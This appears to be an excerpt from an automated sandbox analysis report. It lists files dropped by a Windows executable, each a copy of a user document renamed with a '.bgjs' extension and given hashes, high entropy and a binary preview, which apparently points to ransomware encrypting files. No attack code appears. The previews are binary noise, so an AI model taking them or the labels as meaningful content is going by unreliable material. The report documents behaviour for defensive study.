SSDEEP:	24:dAirkNHDrGkO9cdYB1VUMeNOxUADfLqQXBGpnidQjDFHQjaObD:dj8jr0gYZU5SUoTqQXBGLjoD
MD5:	1C6F80469F740021EA6DDB6D43A5025B
SHA1:	A50B7BC9420B9C845D9136C82258D11F41E5A155
SHA-256:	8BB1CE0044A69D534A3CD94687482EFD0C0C0F9FF44FDDEEE16A9989318C2ABE
SHA-512:	619326BA6D06FE3822E96F84655FE723E0FD53682A9781EB1CC69FDE1BB79E30A9D7436809FB37F6A6DCE9572928FE1309BBA56A77564D9CFD26886E10AFC03B
Malicious:	false
Preview:	LTKMY...L..\...v...'.g...E>.3......Is.a...zY.I..;....G.A......O.e......&\|.....`......iH.~$..{...x...Lt...#...zTT5..z:....D.H.%.[...0Q..2......Z.H.G....h^...H).._..L.0...........u...X..`^.).#.0+...B.l..PO...S..~.(..I.wde="...7e.G.. 6..$. l.....QuD..<.X..>.C..R..Y......[...;P..oy)../v..k..}.'.s.`...W......3..M...t...%.pm.).~.k....}R8......1..c..0.\|~I1..%gp...P.(..I.F.$,.s./!.....Z..Vq..X.PV.......;.sv.V....\|..:I..^.......h....X).y\Y~.A.X.T.gb....>.KA."...l."(..",.j}...).:..Rm.j}."..9AhS.66....I5]M..Sg..S\|q..(.u.O..5B..-..:.E.S.o.3v.w_! \|..;.5j..G...+.....s..%..T...a3V..A......SS.....ao.C..X.)...5.w.f.as...X...^6...J.X+'R..>.<^5.x5}a..>e... .6...A..2...k...D7.v..."...i.q....U..........2IN1r.........y.Zt..sO...........8.@......?...C..x.4.....3v%fB)9.L..>&ZX..TQ...].D..~X..+...$c..~Q.:z.8/<./..*PI......S...R,...Z..k...v@..v.......u.~.. q}...... q..E...%.%...(i.l......6..Y..)W....kI.......y.....1.....@.{3....WF..G............H..:2.[.....R

C:\Users\user\Application Data\Microsoft\Windows\Recent\LTKMYBSEYZ.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845350337528881
Encrypted:	false
SSDEEP:	24:WwBlYlTFfRescvAxV1F3E3FkJiIu0yot4V5h6pCJkexB2jUPHfkJLQvObD:WwMlTFfMC3nRU6gkpIjGYPHfkJkUD
MD5:	83F29B97B847D999F07530D90CB71982
SHA1:	9CAAB9FA4C38EBE9BC61D2CBD29E865FD26EBB42
SHA-256:	4EF306B4583D6F70FA2535DA1707E9F2F711900EFA32BE04BAAA51039DEC79B9
SHA-512:	FDCFCB41DB6229AE514991E5E0AE5539B056D5E1A5FD2398080CA683347273A53C9712296C8B401AE6FC67A9B0E3696FE450D1B12B87442DDF4996F3C7C5498D
Malicious:	false
Preview:	LTKMY^N.....`e.O.\|..9j..Y..<......COA.zj..7.z...~<.J..!.D..=O..c>.../..1.\..L.;....t....P..L,QY.~Tj.5.....Wz...8.f.F..:H.R.j...7TZ.V..p......\|...T..`.r....2.g..r..]....d..pE...Y..K8f.2....Sl...q..`6j.?C7u[..&w.a.j....-zzvo.;y.....1..3h.f...;.I..0.a.....K]..".@.r...g..MaQ....f.^.T.ey:.Q...V.'.......:6;..a...+.V..$...........,6.H\|.q..N!....E.?.fSh....C.Wot.. Q/.5\|}.......D;...0-..Gb.C.]..r.r.g..mP..(.b...D.Y..oGW.s.)..V..FI5e.Y..9.z"..M}K.e{w.;D..u..8.m..^...4..".=x...O'.}...9A.o.N..;.xu..."...=...i.....M[...<......h..E..6......3..,.&.5.l..@A..0g....-L.^..5.Pz4^..`.YY...ux.......v..aP~...)2.L.7..R....w\..8orK].i.....fh...Cx...)&.Z....TA.T.)...&......\|.($..Bb.......Z?h$..+.h...P...Vl..mJsB.q.6I....<$r(`..>.\|..i.\|.g..\q(M.I..W@....fDa+:..6..cS..Z.v.I...c.!^(........f .GD*.I......._H.....cE.Ao...I....\|./.8'.....0..p...l...f......t..h...>..j>.....~..-C.]w.#7.:V...c'A....>...0...ZNe...E..k}(.U....urK.cm...].Q.@.U.M....D.LX

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWTVCDUMOB.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839554618598345
Encrypted:	false
SSDEEP:	24:uaVmEndii7S/puNpxRLEbz/ndaEb/OKSGMi4uqAXfODhotrdkpfOOX3wdCnxP6CU:uasEnUi7Sx8pYbTdaK/OoxFXfODh8GB0
MD5:	BA74ADF71B3F07D260A809104E451BE8
SHA1:	4C45AA201C02185EC723902F505B1A45F4BAEC84
SHA-256:	4A4516357EA4B76A617E7F10C9BE98BB86C320236DC9B35FB3546C94E8D3A235
SHA-512:	ED06206797AEE871CDB0C8BC8E7E99B7C92EF78FA6963A3C9F58C74EBAE78FA7C73AC32FFAABF14BF76F91CE9E5C0A46D133D7EFF14D3EE022252D8E2E092E74
Malicious:	false
Preview:	NWTVC.[..H6........H..K..Y....@.....U...V-!...%.CGB.......C..-...L.'...k...Q.5rh........w.8...U...,...z.{.5h....W.r......)..[..d.b,..F...W..lJ....#.iC.T.s.......2......(...MpJ.xenh.6..l.pP......uK...k..~.."->1.......C...o/.....f.5x..x..Oic.S'../....,/...y.}'..z.....^G.cM.p.].o^..... .]......k.5.!.v.9.Kl........y......p.1x...s...(..8_)...........E.......h......f8.^_..@..^.T.;.,X..H_.Ng.....<W..%~:..jfD.rN.W.../~K..5..!.z.z.".{+\|0.....f.F~J7..Abl..N.5...cXU........K.>:..Uk........#..,.....9-..N\.........o.2..wEWzS....eM....k.K.M.....)..v.je.].E....9.\|[..n.. .h..w'.9%u.\.....u!..W.{..lt/:..x.i...4.Fz.3;..4t.KN.l0e...@E$.l.a..@..(..?.0.C.........kz}&..5s.\..10]..@i...u.R..0cA.G.P.v..}.V.\|.....+......k5f.;.^.C..C..N..P..).D.R4...EV.@......E...}.,.WN..J........%....W5..........6t.z..T.&0..>.V..W.u.z.TBo.k4.....(..qp..c.^Tca..k.ofXfg.;..qr.Z..Y..[..~........P.x..t.!..p..&H8...L...\|.z......-...m.U......1.#...'].I'Y...*..PyL.:[...c....XV..

C:\Users\user\Application Data\Microsoft\Windows\Recent\ONBQCLYSPU.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8353661730134645
Encrypted:	false
SSDEEP:	24:qhd/k+sYdx3+TBwpAegnOZnRUVnHjwsc6G2ephYKKCcAZ10kblG6hTfoXObD:qjk+1CGN5REEsBG2evpKCX+kblGsJD
MD5:	8C52A8CA54519606300DE30634136E76
SHA1:	7BF8EFBE18DA0E773DC6DC54D1DB3A86FC7ACC56
SHA-256:	313843B354893BE0764AEC9517F6214DC8504608BA89ACE5908D323612CC9D3C
SHA-512:	A7323A0DB0DC21E90A520BAEE63E0106E0007499B242A49E2A02665A5F9DCF9BFA7BA50D22BBCB4BBA47D1D1C65B9875765A81A44A1F9AC94FE1E2C9E9A149B0
Malicious:	false
Preview:	ONBQC..~n..@W)......&X.Ya....y]nH.>..`.>....t..n8.:.o.9.r.7Z..I..\|..../.1.{.........I.z=k[f.P.y%..d......o.C.VG~......6.J:w&f....}X.....(.7.\....BGA...H.xD......d....X{@.A.\NR....!......u.X...+..\|Yy!.M.k.HtT..U..U....h9......M}.Ube.y.Jt%U.........9...6US)..../{K.X..@..a;.{Yw..y?.d.x...u..#l.....s.46... ...'R.A...6.+,...3...i<fJ.sp..).W...7f'l....i.....$.N:;.6_.F.I~..M.W.4%D..$..,5NXj..gh.=...+.^....c.=.+A.%.e{[..V:.._W./...k.:<Qy1ux.......O.e.7.l../!.0..h.H......e.ST...y,....m.U=.V.e.T.,.z....6O.-.....c.X.-F...I.D.rL...g..C&.A._...LA.....!A...X...U....f...._...Y._^Y.(.3.A.=..2..-.2..T.........GW.A\+.~...O...2..a.e.@....<?...[s3...6;i"..p.p .H.8..\|..i.C0PE..R/@....n.l8n..r...!..s.u-....@y..hpC..A?.P.N...%)y..x%..I^n!..\|EM...(K..<....2..a.C~.J...0.?v.V.t....=Td...>..S.2.W..../T....>/..r:Q...cDX..._..).l...tN.w.,..TD..X.]8H.\|L...Oc..l...xf=..H.V.[.....F...(..!C.ZT...>...+/.......=...{4d.....,...W/2.....O...^..q...}..q..d..S^......w...>y..C\[..CH...+

C:\Users\user\Application Data\Microsoft\Windows\Recent\ONBQCLYSPU.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870338929474538
Encrypted:	false
SSDEEP:	24:x+q2NF5NO0/eJ27EfuWrLsS7UDfn5KO0g2YxihPC9kswtFcZndhr1itObD:x+3rCkXUR8Gq90FYRrD
MD5:	57815DDC80560944EC35DFDF4169CE60
SHA1:	F9C7100EA524CCB2C603DAB517AF51C24F25CA99
SHA-256:	4475DA110B2C312E85F3B96FE0AD0050D74B64937A563CA697C40B6940066498
SHA-512:	FDF21D8B88B7901401BB98908AA251E74E8A7641188792416D48073DE57647E02D74A65F2665B2251583159C489718571BB63BC5A6C896B0582EA0DB7CB8D99A
Malicious:	false
Preview:	ONBQC.C.P...r.^(.]...1.q+.2Q.Jl...8c....".V.;t>9...;!. b..v..e7.;K...7.qi...&..3.9.f.'...{V/vu..M..5.<k...?....(t..rX..w.(......M..4R.j.......".......V....>x...U.~.Oe.Q.;.^q3N/V..Rb.yN......,Ei../x.9..n!...p._i...i$.....e..T ....:.~4.....2..2..h..5i.)...H...#.J#..P..&....m..B...E.}.mW)..^..x......7x#....}...\+)w=:...;.,.U#...;..j..C.Z..L..B.P......._rIvW9._..\8l..#.....t..Xzm..to.M....k.<.f..U..j.S....XGf...0C..vo.N.rZ.........^..Z"..`.I.$..y..w.9t..yj.4DA.k..2o...8U.:cU-.....'_m..o.k.u.;......G...f,.A6..~3.IDe8?...`.......9.J..A.2%..h..u...I.a<..&M..11..Nx,..n..E. .U..<(pV..&..?#..P:.3.+..<.+4.`.f"..q.S:.?n........M.,'=t...J.....W..Y#[xR;b.`.I.X../Z.i...x..I{...'.$.z.M..#s8,..0.oi....TY./[..&....r..:...P..K.Y.m_h...UZ^...."..6..p.)?D...s....!.l....n..m..da.".V...v..]..}.....E..J'.d.G.a5......Ht..}.P8.=*..Gt..=.]7......w..JI.y.3......../^2.1.9>...D..+.!.m}.........A.;.OqT.... 7.......{.b......&F.....J.(......\|]..fp...y..D.S0..

C:\Users\user\Application Data\Microsoft\Windows\Recent\PALRGUCVEH.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84915492192825
Encrypted:	false
SSDEEP:	24:hTmViR9ub2x7BYgqjB9U5oBsmH5TFcO0ydZNgm8gKSxmHIZ9/OM3eu9GVObD:hqkm2x7Bgv95T7tAXC8C/OOVD
MD5:	437C7FB9F4DCD223A090564771C303ED
SHA1:	875296432E6AF3A0F18D754F6AC85AD48E6C5602
SHA-256:	C1E1C3262C31ED59CCE0FBEA3FC1C0AF27BDC675175BBAE1D54A553F9B63D955
SHA-512:	C7F0280C5121474390A61636772788A31C4BD2A63DDE53F6755381204B20ABE70241F955FF5F64E4A4DD722753D6B9981B4A4F89FC2C1D50C3319DE95EC6E7F5
Malicious:	false
Preview:	PALRG.....8d.....$+Ym3g....E.,.8h.P.D..x....$.t7....7.q.v..9.........y..-$...c..S@ce.+.}.+..p/.@.../...a./....)Ha@.E-....N7..o.FY..pr..zb..G.........(.......5-.6..e.....K....=....gm."..O.JL...N.a...Z..#...=.S"yA....0.U.v.'I.X.......~.'7D:..#..w..;...G.<..8..).}gf:.....u.od3uFcK[$.:hh...g..)@.n8..........C......=.1o`...._^ ..-...F.&.#.jj..i...a.r.5....W..Ghg...M[..bo........W+f...O.1wE..4..nS.0d^."..u\|..C.o.~).y.S..Y...2.e,W.Dds.+....e..R........-.lv=pV..f.6..<.......[...........oh.v.uO....Bq..iNUL.9.....?....q.P_...Pi.]M.....g....m.^.oK.?s....R,..NZQ.L.\|{,...J.s.1'.$S.Ea......o.h.....9.'b.......Q../PY.4..0./..+...SEAq.Q..C..6E...8'..8.6...B,.X.re)......&Q5.k...,S..=.u.C.d\.-.S4b&1.ep.cyn.tM....NB......B.ow.......`p..aK=. .U....>p...J..m...].qz..E..k :o........\|.....]......v!].mH.\.?..+.lZ......af...5...P*.Vt..2.q{H'....<,..}14Z...!...k.eH...N2_dg..fUbEc.Pui.0.C..r..$...i.....k:I.f...K...-.afUM]+Q.s.L..Q....E.2Fh...6.n.b.A..

C:\Users\user\Application Data\Microsoft\Windows\Recent\RAYHIWGKDI.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856269443447717
Encrypted:	false
SSDEEP:	24:zLMa5ycR6HXWHr1ZGdeoUWxPQWwcAQYY/3Tpm/eznA375zc+aVL8BObD:3M0R6HXWj/z5q3/jpqNc+aVLND
MD5:	57C199F3FBE302123C8D546D222B7F56
SHA1:	91019B5C8C2D5AB9315BB1968E71DAF98EF5C11A
SHA-256:	C425462684B1147BA13BA104ED9E5DE25D26D8D53C599BAE91DF59051966EAE2
SHA-512:	FD7B3DFCCBC0C6F1B133D94D48DB22F5AC98F174EB54738578339B2EF7CB2E4754CBF5886F7C9F2827A43219B3230DDD1DE5A4BB94FB48AD39F27D3A9905AC66
Malicious:	false
Preview:	RAYHI....".....D...Xp...>...70.Uz%....p3.;.q.Nj'..l.....5...R<GQ...[.......n.yN.1.).!z.)}&.1'.L..D....:..PK....V....sDCK..6j....7.....%.....W..3.`(w.Q...eh]-[+..y..7.'QY.y..V...1p..p..........."/./.LU....#.x.+..F..z..............vk/....).C....R.L]Z.......o.IM....0.....Y.sQ9.$....5...z.=........i/...[D..X.6...=.....].t..."Z...g..G..."M..K..{.Z.....a5..;...U.$0....Z.V.T2.G.Y)........\|.d.$Gd2..~.9D..O..7:..Bs`.......4.....V......m"`..........sT.i.}. .9... o.]}M0..wj.e....S(Z.X....A../ie.!XC.0..........%..z..A@....X.5..).65Bo.\|'....J}....E6..q......@I.]3..>../.=....$.BG=....l.Q]!...!.zW..u.....-T..<..8;.%(...[.....l.=.....E.G......I...b...xQ........SX........S..1.hP...a...}....(gm.}G...b...[.<e.',......3N..kvP... ... .GlN,u...).,..?Xk...n..].s.Ph.V.hSCC..._LY...(..k2.(.\....dV.X....28Q...bE.sa{...h^.#...d{...-..U..Y.X..E.m.L.x;O.&..~..y6.X*X..5..D...t.......%....j.q...+..a......k.j..GrWCC~x...D....;(.c..(A..q..x.....mT8...I\b.K....R9

C:\Users\user\Application Data\Microsoft\Windows\Recent\RAYHIWGKDI.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844619340330571
Encrypted:	false
SSDEEP:	24:xjHF7L83sY0e4ZBPNIYiCg259cSBNX90S94c/AHUObD:xNLc03FIsg2ISN0S94cID
MD5:	D715EA844C6C1AA34A66B7AD36AC10D2
SHA1:	F42F420372E59B57AD67A2B26B378E121FADEBFA
SHA-256:	3CDB927C99380E59BD2BD7D10691228FBD765655B201BD3AE56349C748708CAA
SHA-512:	1DA1551B62DBA6737A43B0B26B05F0E1EE9FFA2FC5F3E59D3955891BC7F00C9666668525923DC4F29971CE31F65AE96681BCE63FCF329CA2E06A173F027D88E3
Malicious:	false
Preview:	RAYHI..._&.]:zU7X.&........@AZ...~.;..Y.".ig......p..Y.......2.^.W.8...n.^1.i...W...."`.F'...l....j....$.M... .n>l..j....zY...K....J{..w......D......Cm.h..........v(.l7...........1.eX..k......L.:..)..y.#.~....V......]....U..P.&.L...(..d......mA) ..p..?G.R=n....../..d...q.@..#....Oo...O...AZ.D..0...&.@CQb..^..5...?^9O<.`...\|.[.f...fi^.!T5...g..J9.........2u?..I..Y.......(..e....XT..)Z....Z.Z.B.b.d..$.CL.D...... G.....V.....k..io..0.I$..Vb.L.....]z....F.`..z4./..n.yx.ed..$.....4.F..H\|....A4.....A.<^.1.g..Nv.Vq...Glx....pW'....<.[...M..&x.....D....C.M.O....I`....a..M. ..R....6yo.K..F.TM.C.2.8...tD.y....>.ENV...xJ+"W......X.P.A.,..3.;z..(..Y..C...1$.).~.'9...#k.....'l}]..J.N.R(...o....;..m.L..&m...".!.. ......sq#..T.....Nu..9..J$.C.-...(05..d..>(#........+}@...<w.a...8.R1..^`..Iyy"..(.....p[f.W...........KO.,..x.......n..`N.O1M..E....Z.IN.\|=`.+...M.95K.......,DG.....\|.OH.C\....g....c..OH...K..n..2...i...oe.Srr:z^q..r..5.tn..+... .

C:\Users\user\Application Data\Microsoft\Windows\Recent\RAYHIWGKDI.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842364134613531
Encrypted:	false
SSDEEP:	24:d+dVcaRy0jevOtpENe3FY1VpZwHWB2vmObD:YV40SW2Ne3+/wHWB2vJD
MD5:	76D66BCB77BA085C4D8736D90D1CAEC2
SHA1:	89A2963BB05222C2CE7FDD61E83B818EDE580447
SHA-256:	69AF7EE5D7A9962E2A057108518DBBCD3E3099B1760030B1202D4BACEBBBE2A2
SHA-512:	AD43B6FA9EF525AFB5668BF487DE4FF66BFA636CA781D12BDA9D21233A089A619B4656956A7CA2A92EE292EC87FAB46CB103FA8414AB8456093609D8F803CE18
Malicious:	false
Preview:	RAYHI.\.m.{.^..{..jwq.O?~...A.....J.....`.d.I.9w.<......B....`...w...+E9sp.v.{iz.....)......X....WD.k..Ww..Q+...^q:.....Rp`.s@&.......X..0nP....r......Y......W......../."}.....=.c..,.@.q.C.`.gw...3.?...L;..kY....g....S...%..s.ch?.Cwr..'`......R..L.f..o'3..$.<.#Nz..."d~o..l..hhg.o.#....)....3`......4...0.I....:fVVy.PZa....>....R...[.C@.#=..di..]&..R...KlQ]....z.{..Z.#.S...'6"BF.6.K..M>....@..T=.#I.,v.bNX...+hN...dQIG..D.. "m..}C.Z\|.&.<z..j...x...Z,.Vo..[.[`..NA...v....<...o&4...x..s........u..CMd.e.....d'..':...E....]w..Z_#..d.R..cR%...v[....;nxj9......!*.........-.~...u...}..5.).+.a..{.^<.1....../.z<V....-n...e..H.3.7=!._....6H.JI..v..`=......R.....Du..]..U.>"Q.K..k.W(....P...r.+.i.s...6).i-9.xG(..M.=.^...C.g.P..d..".d..&=...<I..$.qO.y..A..S..+/5."y..b2.NH.b.._^.i..5..+.S&.s.P....g.l..>.r.Z.{.._../..Kq.....A...7.\|s.__S.....R..wG.._I#..t.h..[)hn\|.'..?..x.\..Y..`......J..CO..:ic......n......c=..2.;.J...=.."..@..JD.m.....D4T.t....gQ.6%.3..

C:\Users\user\Application Data\Microsoft\Windows\Recent\SFPUSAFIOL.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847082135960126
Encrypted:	false
SSDEEP:	24:+FKA90MT0reL/doh8NScXCPnVew0N6SIFF+UTVPiSIvkpNO5FxuWxO04Gc2snQnI:eKlS0raahmXCdewhvTVNIvYNObykFID
MD5:	A95807F135327379E54A9C4941AB5178
SHA1:	7278D1B313D449F661EC2EF8299E9C1E79218D60
SHA-256:	C397DC6574F19E0086709ACCAF6AF05E1CB1B2340677C33DA2951BF08F1854AA
SHA-512:	2B6A8336652A644F199ECF79639DFD3FF532F067E600304994FAB70A9BD289DBCFD98DCC1ABB910C8FAA0B3D6C9A18197E404BEE95082939C72E3377603015E4
Malicious:	false
Preview:	SFPUS..WX.Ne.Fi...).;.MZt..kc.G. 2..tZP...\.... ..........I`[......%.v...C@......-r...G..c6.g.n:....#/p.[.<...m......X.Cj"/....q.^h...Qd.!v.[.K..~%....Y..=p......^..3.7.ff"..=..D(.....+..8..T.ZY.ips.. .....46Z0..+.h.$..C.&na)...g...x.v.~.(.m..'".kv..GCd...5$Q. .T... ....7...i.8Eslu....y....5C.HJ....}.m1.N...q....q...jyx#.F;:.S..=.B...vL<-.D%p...BU.*E..S.cO..[.pv.)8a....).e..@...kc6.m"j..j.}(..5r`.:F......Y......#...?.\|..0.\|.Bv..s...yP.aw.H.p..H....<.[.....$.n..b.X..P..c,...o6e..#\eIf..._A.......g.}..f.g.C.Y.t.M.e..........Y_..+..<..1./.m......?...ST.r..T?../z!..f.9...c.}nz.t. ..;..eX?..7\....a.>...Jb...$.<F.D>vm.cDz..$..).Q.......>......4....:s#[....z.w.]b..Wo...Y.CO..`..za.....;...L.@.uQ.....o...!..j..wQ............F.Q...8).....(.c.r.+...-5.V.Mg......q.N..!.....5........]Q#J..[...i.5]...G..K.h.....$0......)Ws.l...3.......u<..a.p.]..].`.-..n........$.^....W.~......t&.......Xz.KY./.#...{9....fy.F9Z..>.M...B^..\+..K....=..3q...

C:\Users\user\Application Data\Microsoft\Windows\Recent\SFPUSAFIOL.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845704954715257
Encrypted:	false
SSDEEP:	24:7ilzXjYmq7bfAdxE+0CUhtZAhbKebu9IKt+kZgfCBmv9jizBqXpMYjcOH+1H/3g5:mNz6ojc/zZGNGKK+ilODcOH+1fCD
MD5:	6131B4B6024EAAF22D8EE63B1B0D14B9
SHA1:	A94EFE7B394738B2B58A0729205095745F8575B9
SHA-256:	64B91E047D887223060D9227C65128DE824E93916DD82B82432AC4D13EAEBBC4
SHA-512:	1B06C229B72BC46426AF50D6A28B66B6C770CD98B9CBD69FC1FBA25311381B20A243E8100CBB1534C4CAF6CD4A3F612C82864F92A9DC9C0E2609989D96CED9EE
Malicious:	false
Preview:	SFPUS;...... ...k.]....&.+Y_{.Xw^....'k...HI..H%.....^..u....c.L........?.Wh9$(A.a..q....9_...9..)L.'.y.Z..c.$aY.=...^.Q.(.W..QB'S6..d..Vy\k"..%.\|S.9$w.....d........s.mZR.v....9k..l..0.b.Z=...Y..........v..5...(..c..#..[..?....%b...........^._.y......g..[. ....../.....K6,.E8..t...8....k5.%..~.....;.7......+..F^4d..hx.g.5v....HW......?.....i.dq;7(7..........i......6..gL.g....h.i...XOv.<E.Fo.o.W...$`.y...}.\......]...k..msN~8.5.A.m^.L=..G.y.~H6ma)O.Y\|..EJ1....0.Y..~.Jr.w.`L....;f_E+...Dv2...^.QY.h..u..d3..!q..Gz..p#...f...X).>:.-.O{s.J....T....Ks....].Y.rUa.#r.y?...{..Jw.`.C..=...@p.C.Ok.3d.:?\E..7Q..A4.T.5........z.f.....;.sr......P.....7A....l.6...x6.."o...vy......j....u......&.h...="q.....c.a...H).&...1.k..=..._....x.=.T....r3.....<.W.M.]" ......7...2..dB..z_.!.(....-.<P...}8.g..<...X..U..^....xMS.\|.#.......D......oAf'..w..~.C}.r.<.dAh.@#k.....5.b..a.\$*.......m-8.zul(./K..]pU...nU.......y....RP..Y.z1#Ck-....!..^T".....{n.&".._.?

C:\Users\user\Application Data\Microsoft\Windows\Recent\SUAVTZKNFL.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860574957513266
Encrypted:	false
SSDEEP:	24:ZK9GNcohWldfORhtgFQXZ45HSVGRQIIDniNZx2/xRVSCppycpmObD:07R/fW/TVGCTivx64mIcnD
MD5:	6B35A2917FD4ADEF155A7C83EB736E8C
SHA1:	66BFDB2CEDF4E709D3A9E9D040CD76459B88A9E1
SHA-256:	9CCA9BBE2D875FD36EEBB0EB3F4E6CE5EC66CCCD7A95CF74EAA2E170D6BC31FD
SHA-512:	DBC94A463E66EA8BC9ED96A181EA7A0AC780A11F87FE0F7AF62E3520668483C49C5C5CDB06DDF5EAE5733A3AC81540CDAEDB5D93677C1E01D7B00D0856A8599C
Malicious:	false
Preview:	SUAVT.....81._.7.HL.. .\.....8.&.~....rZ..u.+.T.5.R}.qi....,4.H...=............H..N..Y.-...0/.7...Q.".=A.7..5."......&#.h..i.....;F.LE.s..-..l.....GC.k....B......]#.B...n2...e.z=r.}.R.(...1T.J..2;<..!...R....v._.C..~..@\.........<.4Q.-..$W.$..n..b.S.....9..OTb.....'..5;..]..........Zb.0m.....6...=/O4...>..?.\|&...s.D..>Zi_.%y?..W.gC.xA.^y.........M_.../2.q.r6.h2....q...l.:...@~t)g.....G.2mU%`...d.f......n?.....QW.W.Ff..;.cw..u.V..L#.('.-.../..}<e.. .G/f{..r ..(...VW...S\.#.n.\..UG..q...B...6..)..c.c.].m.$M......xa....m.z....."_1y.<.w.O..vY./.(.L....ZLU:\c.5:o.c.#.i.q.d.T.i~.P.-........U...[..L8..Cy.d..-.....a.WC.0......P......f./h........<#..Q.0.{fj..h..MQ.5.s.;.v.D.r8...9lx...K..j#tY....Q......U..,Y..f.Q...h..d......y..j.s.#.B.]..Yc.Nn..A-X.-.^..U....f..A...H......Gcp....d.@.....\|..Cw..<.....e..&.RK....\tKGS..?ymK.cXLI...z....._G4..S.....Ou.#...q(..e......k...O+.q..w.R./ESg4-..Q..F...G!iFQ..V.r...X8.*..u.{s.X.\|...`t..$....j

C:\Users\user\Application Data\Microsoft\Windows\Recent\SUAVTZKNFL.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846493362050987
Encrypted:	false
SSDEEP:	24:A04P/CcYoBKsdrGMRhHTJdpc72C6XcndV0ZmOag1D5FnUN0ZTAjFxpupANObD:A0ncYedrGMRle2EdSvznUGZT3ppD
MD5:	9B7E6FA13E5483088231386EAD32B5C9
SHA1:	774AA99D35CB446AF9E892010AB9A57055F5DFC1
SHA-256:	61A476AB2BF2992D9FB7DA3DD0A4131D79C5F42F2DD5417F0342F34402329DD2
SHA-512:	9AEF99B97B3C22CB02CE50D0267C1175688908B27369F45FC63989F6592365C233BD257619BDE5D4325008D635D810436997903392174251B158477AB2215AD3
Malicious:	false
Preview:	SUAVT.P.T...-89....P?..h.........x"...G...J.'.0.....B..e.k....h...u..M.V.9.....1``.........8...=..t1.....t.a.Y........QQ..GY...A#.....K--Ha......e.(e..l.:....p...a..9.T.4...V....V...2n~..~s_R.}.~b..2.97..I..Q.Q]L}.f./>{.O\|.G.+.z..}....5.O^..u....O.hD.J/(s.]....../P.#.V7{.z...f?B.8.v.'Yj.4@..Q:......0...T......&O.....".......i......?^........O....%...N...yj....R.....q.6y"J9p.k.j....:.~.(.Z.%Z..3..5'.............:w.G...>...\....x1...G&..R...F.@.G..yy/.Z6.(...2n:Y.Qn.#%.$L.P.5j...p.......T...5.$.B...........70\|G%...n.....v.W..3t..s..n.pkyF..[,....+....0{D.yQxn..........u+...BHj.g.....z...!...#......9..:..~.U..........1..........Z..p...V.&.J..f.....\.Y.....5..kiS.......AL...<(e....x.Mh.x..y..=...(....+mb.[..2......)....,..qx.S....._.s.'f..\q;..+'2X.1.=......6.....g..'8`....+PF..W !....o..1B...f.fbH0n'......."..b.../#~..S.3.VX..5K..-..7.i!\|.....T..R.;.....?\|7]\y.'7>D.f...nK......7oY.s....[.....i b..n........~....KCk..K.[.. A...f ...../8S;.d.D#.,..

C:\Users\user\Application Data\Microsoft\Windows\Recent\UBVUNTSCZJ.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	HIT archive data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830362607667994
Encrypted:	false
SSDEEP:	24:5eab9gsbAjjACntjbukgNntXQJ4Tt1Zot3JWB6VK0GFE/XJsdEbsObD:j5VbAjjFtAntgJ4nZopJWB6VpGy9TD
MD5:	ADE6BFCCF021302417F82800C83FE905
SHA1:	72F54DEF6F8469DA19A92079A35FA3D6B2C6F690
SHA-256:	02734B10BC11FB6B823923F9858942E0EC49D22CF5DFDF78815F998D5984A530
SHA-512:	EEEEDE96BB64EB2BC5B6691E95F6B2E945D9D6E22E7DA79EFE5E45ADF7172E4403870894A9E09EFD4A7A6167D2A8508F1E27287DA1B623A4D6EBF308A3F238E0
Malicious:	false
Preview:	UBVUN]f..`....H.N+...C..mTN...x..:u.I..c[...n..oH.'Z..."b...W6.=......%%....5d\..8%...~.fa./..NB..8...H..r[8{9..kY.#.Q...... .9..V...:.n.tZ..P+...X./.`W.'glBl..LN.Ne.......[P.._............@U..D.h.x..~.<.+...S...........}e.....nsOZ1.@5.....C.u...kj......}.d..\|Y.....fxl6.[....~._...0D:..Zm.-.w]....~.X......xe.Ug..PNL....4...W.....[._V..-!{.+}k.288z.Iw...........F}o.S....-g.l....6m.....(..c!ss..r._0.,.'.N.t...Ir.x.......L.n.....M...8b...J....5c....#.,.y7."..J_)G..g.7...KA9.....-1.8A.q.8t.Ku.JGJ..#1.)2.}B.g..2..B.....\...8X.nwV.R......50*T.1@.x..e.Nc.A.q.\..........z....#S.......l.AN..H.'IXz...;.....~8......e4.c.%1.....5.....k..s":)y.c..D.K.U.Fm.n..T.......U...;F.7.vV^t.U.3.[.3RT."X.{..."..4..B...a...........l.kYSa...X.M........_..<...a.N...6.y/Ii.^v.I..._.>:^Rp.5H..0...".........ls.F...S 